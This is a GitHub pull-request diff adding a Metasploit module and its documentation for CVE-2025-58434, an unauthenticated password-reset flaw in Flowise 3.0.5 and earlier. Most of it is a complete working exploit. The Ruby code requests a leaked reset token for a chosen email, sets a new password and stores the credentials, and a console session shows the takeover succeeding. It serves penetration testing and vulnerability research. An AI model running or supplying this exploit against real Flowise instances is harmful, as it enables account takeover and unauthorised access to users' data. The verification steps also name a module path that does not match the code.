Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
## Vulnerable Application

In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including
a valid password reset `tempToken` without authentication or verification. This enables any attacker to generate a reset
token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO).

The vulnerability affects:

* flowise <= 3.0.5

This module was successfully tested on:

* flowise 3.0.4 installed with Docker


### Installation
1. Pull & run a Flowise docker container (v3.0.4) in your VM.
```
docker run -d \
--name flowise \
--network flowise-net \
-p 3000:3000 \
-e SMTP_HOST=mailhog \
-e SMTP_PORT=1025 \
-e SMTP_SECURE=false \
-e SMTP_USER=test \
-e SMTP_PASSWORD=test \
-v flowise-data:/root/.flowise \
flowiseai/flowise:3.0.4
```
2. Pull and run Mailwise docker container in your VM.
```
docker run -d \
--name mailhog \
--network flowise-net \
-p 1025:1025 \
-p 8025:8025 \
mailhog/mailhog
```


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/flowise_auth_bypass_cve-2025_58434`
4. Do: `run rhost=<rhost> email=<email> newpassword=<new password>`
5. You should get a status success message indicating that the new username and password have been stored to loot.


## Options

### EMAIL (required)

Email address of the Flowise user whose password is to be reset

### NEWPASSWORD (required)

The new password of the targeted Flowise user.
NOTE: Flowise does not accept empty strings as passwords.


## Scenarios
```
msf > use auxiliary/gather/flowise_auth_bypass_cve_2025_58434
msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set RHOSTS 192.168.1.30
RHOSTS => 192.168.1.30
msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set EMAIL admin@local.com
EMAIL => admin@local.com
msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > set NEWPASSWORD password123
NEWPASSWORD => password123
msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) > run
[*] Running module against 192.168.1.30
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Flowise version 3.0.4 is in the vulnerable range
[+] Password reset successful. Loot stored in: /home/richard/.msf4/loot/20260806210741_default_192.168.1.30_flowise.files_888141.txt
[*] Auxiliary module execution completed
msf auxiliary(gather/flowise_auth_bypass_cve_2025_58434) >
```
152 changes: 152 additions & 0 deletions modules/auxiliary/gather/flowise_auth_bypass_cve_2025_58434.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
##
# This module requires Metasploit: https://metasploit.com/download
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise Authentication Bypass',
'Description' => %q{
In Flowise versions 3.0.5 and earlier, the `forgot-password` endpoint in Flowise returns sensitive information including
a valid password reset `tempToken` without authentication or verification.
This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a
complete account takeover (ATO).
},
'License' => MSF_LICENSE,
'Author' => [
'Richard Howe', # Metasploit module
'Isaac David', # Discovered vulnerability
'Arthur Gervais' # Discovered vulnerability
],
'References' => [
['CVE', '2025-58434'],
['EDB', '52557'],
['GHSA', 'wgpv-6j63-x5ph']
],
'DisclosureDate' => '2025-09-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'Base path of the Flowise dashboard', '/']),
OptString.new('EMAIL', [true, 'The email address of victim user', 'admin@local']),
OptString.new('NEWPASSWORD', [true, 'The new password assigned to the victim user', 'password123'])
]
)
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)

unless res&.code == 200
return Exploit::CheckCode::Unknown(
'No response or unexpected status from Flowise API'
)
end

flow_version = res.get_json_document['version']

unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5')
return Exploit::CheckCode::Safe(
"Flowise version #{flow_version} is not vulnerable"
)
end
Comment on lines +69 to +73

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just FYI, this is also possible:

Suggested change
unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5')
return Exploit::CheckCode::Safe(
"Flowise version #{flow_version} is not vulnerable"
)
end
return Exploit::CheckCode::Safe("Flowise version #{flow_version} is not vulnerable" ) unless Rex::Version.new(flow_version) <= Rex::Version.new('3.0.5')

@rmhowe425 rmhowe425 Aug 7, 2026

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I initially had this but RuboCop is complaining, giving me the following: Style/MultilineIfModifier: Favor a normal unless-statement over a modifier clause in a multiline statement

😄


Exploit::CheckCode::Appears(
"Flowise version #{flow_version} is in the vulnerable range"
)
end

def get_reset_token(email)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/account/forgot-password'),
'headers' => {
'Content-Type' => 'application/json'
},
'data' => {
'user' => {
email: email
}
}.to_json
}
)

fail_with(Failure::Unknown, 'Unexpected server reply while requesting reset token.') unless res&.code == 201

res.get_json_document.dig('user', 'tempToken')
end

def reset_password(email, token, password)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/account/reset-password'),
'headers' => {
'Content-Type' => 'application/json'
},
'data' => {
'user' => {
'email' => email,
'tempToken' => token,
'password' => password
}
}.to_json
}
)

fail_with(Failure::Unknown, 'Unexpected server reply while resetting password.') unless res&.code == 201
end

def run
email = datastore['EMAIL']
new_password = datastore['NEWPASSWORD']

# Request reset token
reset_token = get_reset_token(email)

if reset_token.empty?
fail_with(Failure::UnexpectedReply, 'Could not retrieve password reset token for victim email address.')
end

# Reset user password
reset_password(email, reset_token, new_password)

loot = {
'email' => email,
'password' => new_password
}.to_json

loot_path = store_loot(
'flowise.files',
'text/plain',
rhost,
loot,
'flowise.txt',
'Flowise login credentials retrieved via unauthenticated user password reset'
)

print_good("Password reset successful. Loot stored in: #{loot_path}")
end
end
Loading